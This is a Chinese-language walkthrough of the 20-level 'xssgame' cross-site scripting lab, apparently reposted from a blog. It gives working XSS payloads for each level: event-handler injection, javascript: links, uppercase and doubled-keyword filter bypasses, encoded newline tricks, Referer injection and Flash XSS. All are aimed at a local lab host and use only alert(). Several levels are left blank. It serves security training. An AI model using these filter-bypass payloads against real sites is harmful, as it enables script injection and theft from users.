xssgame20关

流程

输入信息

查看在哪里输出,  构造闭合方式

<script>alert(1)</script>

''onmouseover='alert(1)'>

 

' onclick=javascript:alert(1) '

' onclick=javascript:alert(1)//

' oninput=alert(1) //

 

<script>alert(123456)</script>

" oninput=alert(1) //

"><a href="javascript:alert('a')">1</a >//">

"><iframe src="javascript:alert('iframe')" width = "0" height ="0"/>

大写    " ONinput=alert(1) //

双重    "><scriscriptpt>alert(123456)</scscriptript>//

 

 

第一关

没有对输入结果的过滤

 

第二关

 

 

 

 

  <input name=keyword  value="  ">

 <input name=keyword  value="  <script>alert(1)</script>  ">

<input name=keyword  value="   "><script>alert(1)</script> ">

输入   "><script>alert(1)</script>

 

 

 

 

 

 

第二种闭合方式

<input name=keyword  value="  " onmouseover="alert(1)"  ">

" onmouseover="alert(1)"

鼠标滑动的时候   弹窗显示

 

 

 

第三关

 

 

 

 

由于输出在input标签,因此尝试闭合标签,通过事件触发弹窗

构造 <input name=keyword value=''onmouseover='alert(1)'>

 

' onclick=javascript:alert(1) '

' onclick=javascript:alert(1)//

' oninput=alert(1) //

 

 

 

 第四关

 

 

 发现两处输出处理方法不一样,尝试用事件构造闭合标签的payload

“ onclick=javascript:alert(1)//成功弹窗。

第五关

输入<script>alert(123456)</script>和" oninput=alert(1) //

从返回结果看,在闭合标签位置,被替代加了下划线

例如oninput==o_ninput,<script>==<scr_ipt>应该是程序对xss敏感的<script>和事件关键词做了过滤处理。

 

 

这里只能尝试不使用<script>和标签时间on**之类,

 

这里尝试利用<a>标签,

 

 

 

 

<input name=keyword  value=""><a href="javascript:alert('a')">1</a >//">

 

 

构造payload如下"><a href="javascript:alert('a')">1</a >//点击链接1,触发弹窗

 

 

 

 第六关

发现与第五关非常类似,但是不光替换了<script>,on...事件,herf,src也被替换了。

将关键词变换为大写,弹窗了," ONinput=alert(1) //

第七关

尝试用大写绕过,不成功,那就构造双重"><scriscriptpt>alert(123456)</scscriptript>//成功弹窗

  第八关

 

 

 

 

这里尝试构造特殊的字符处理,就是在关键词中添加特殊的制表符,例如%0A,%09,可绕过检查。

%0A,换行制表符

%09 , tab制表符

例如构造payload

Javascri%0Apt:alert(1)

javascri%0Apt:Alert(1)

特别注意:payload在搜索框中输入时,会被浏览器进行编码,从而导致不能执行,payload需要在url直接输入

 

第九关

 

构造参数必须包含http://,同时敏感字符被做了替代,需要做变换,

采用与第8关类似的思路,构造如下payload:与第8关一样,payload需要在url中构造,防止浏览器的编码。

http://aaaJavas%0acript:alert(1)能从结果中看到已经被写入到了a标签内,但是没法执行,

因此需要变换格式为javascript:alert(1)//http://aaa.com成功执行弹窗

 

 

 

第十关:

发现隐藏表单

 

 

 

 

 

 

 

 

第11关

 

 

 

 

 

第11关

第十一关在笔者第一次操作的时候,按照10关做法,brup抓包,修改t_link的隐藏表单,也可以实现弹窗,

但看了下源码本关的设计目标并非于此

本关设计目的是在从第十关跳过来后,直接观察11关的源文件,从源文件可以看出,在t_ref的hidden表单内,value赋值了,

这个值就是来源于第十关到第十一关的请求。如图所示:本图为10-11关的请求,看到了referer字段。

 

 refer处payload         "  type="text"  oninput= "alert(1)"   

 

 

第12关

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 13关

 

 

 

 

16关

 本关过略了script,空格,以及/输出位置为center中间,

因此payload构造需要避免这些出现空格可以用%0d,%0a代替

<img%0Dsrc="1"%0Donerror=alert(1)>

<img%0asrc=1%0aonerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

 

 

 

 

 

第十七关:

尝试更改参数,,观察输出位置

 

 

 

 

 

 

构造payload,直接构造onmouseover=alert(1),附加在b参数后面

http://192.168.58.129/xssgame/level17.php?arg01=a&arg02=bsss%20onmouseover=alert(1)

 

 

 

 

第十八关

尝试更改参数,观察输出位置跟17关没有区别,

也是同样位置构造同样的payload,可以弹窗onmouseover=alert(1),附加在b参数后面

 

第19关

http://192.168.58.129/xssgame/level19.php?arg01=a&arg02=b

观察输出位置,与18关非常类似,只是在src="xsf03.swf?a=b"中加入了双引号。

因此尝试构造payload中,需要闭合双引号。

尝试payload"onmouseover=alert(1)在arg02=b后面尝试加入"onmouseover=alert(1)从返回结果的源文件中可以看出,

双引号被html编码了因此,构造payload需要考虑如何闭合双引号的问题,突破不了,本关因为页面为flash,

因此本关考虑flash的xss,对于flash的XSS,需要对flash进行反编译(需要下载flash反编译软件),并研究flash代码。找到传参的函数以及参数如何传递,并基于上下文语法构造payload。

这里对于flash的代码不做详细的解释,给出如下payload可弹窗

level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>点击蓝色123,可直接弹窗。

 

第二十关:同样为flashxss,这里不在做详细分析,

paylaod如下http://192.168.58.129/xssgame/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

 

 

 

原文地址:https://www.cnblogs.com/xingyuner/p/12938499.html